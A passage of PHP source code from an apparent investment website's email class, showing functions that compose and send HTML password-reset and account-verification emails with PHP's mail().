                // Compose a simple HTML email message
                $message = '<html>
<head>
<style>
</style>
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
</head>
<body style="padding:15px;">';

                $message .= '<div style="width:100%;">
Hello ' . $receiver_firstname . ',   We noticed you recently made a request to recover your password.
<br><br>
Kindly click on the link below to reset your password
<br>
<a href="' . $admin->website_url . '/reset-password?key_id=' . $key_id . '" style="font-size:20px;">CLICK HERE</a>
<br><br>
<span style="font-weight:bold;color:black;">Regards,</span>


</div>';

                $message .= '<div style="width:100%;text-align:center;font-size: 12px;color:rgb(100, 100, 100);padding:10px;">
' . $footer . '
</div>

</body></html>';

                // Sending email
                $send = mail($to, $subject, $message, $headers);
                if ($send) {
                        return true;
                }
        }



        public function sendVerificationRequestApprovedEmail($userid)
        {

                global $user;
                global $admin;

                // sending email start


                $receiver_firstname = $user->getDetail($userid, "firstname");
                $receiver_lastname = $user->getDetail($userid, "lastname");
                $receiver_email = $user->getDetail($userid, "email");


                $title = 'Account verified - ' . $admin->website_name;
                $footer = "This email was intended for <span>$receiver_firstname $receiver_lastname</span>, because you signed on " . $admin->website_name . " | The links in this email will always direct to " . $admin->website_url_e . " Learn about email security and online safety. 
   © " . $admin->website_name;

                $to =  $receiver_email;
                $subject = $title;
                $from = $admin->getDetail($admin->admin_id, "email");

                // To send HTML mail, the Content-type header must be set
                $headers  = 'MIME-Version: 1.0' . "\r\n";
                $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

                // Create email headers
                $headers .= 'From: ' . $from . "\r\n" .
                        'Reply-To: ' . $from . "\r\n" .
                        'X-Mailer: PHP/' . phpversion();

                // Compose a simple HTML email message
                $message = '<html>
<head>
<style>
</style>
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
</head>
<body style="padding:15px;">';

                $message .= '<div style="width:100%;">
Hello ' . $receiver_firstname . ',  
This is to let you know that your account has been verified.
You can now login and start your investment journey with us.


<br><br>

</div>';

                $message .= '<div style="width:100%;text-align:center;font-size: 12px;color:rgb(100, 100, 100);padding:10px;">
' . $footer . '
</div>

</body></html>';

                // Sending email
                mail($to, $subject, $message, $headers);

                // sending email end

        }
}

$email_class = new Emails();
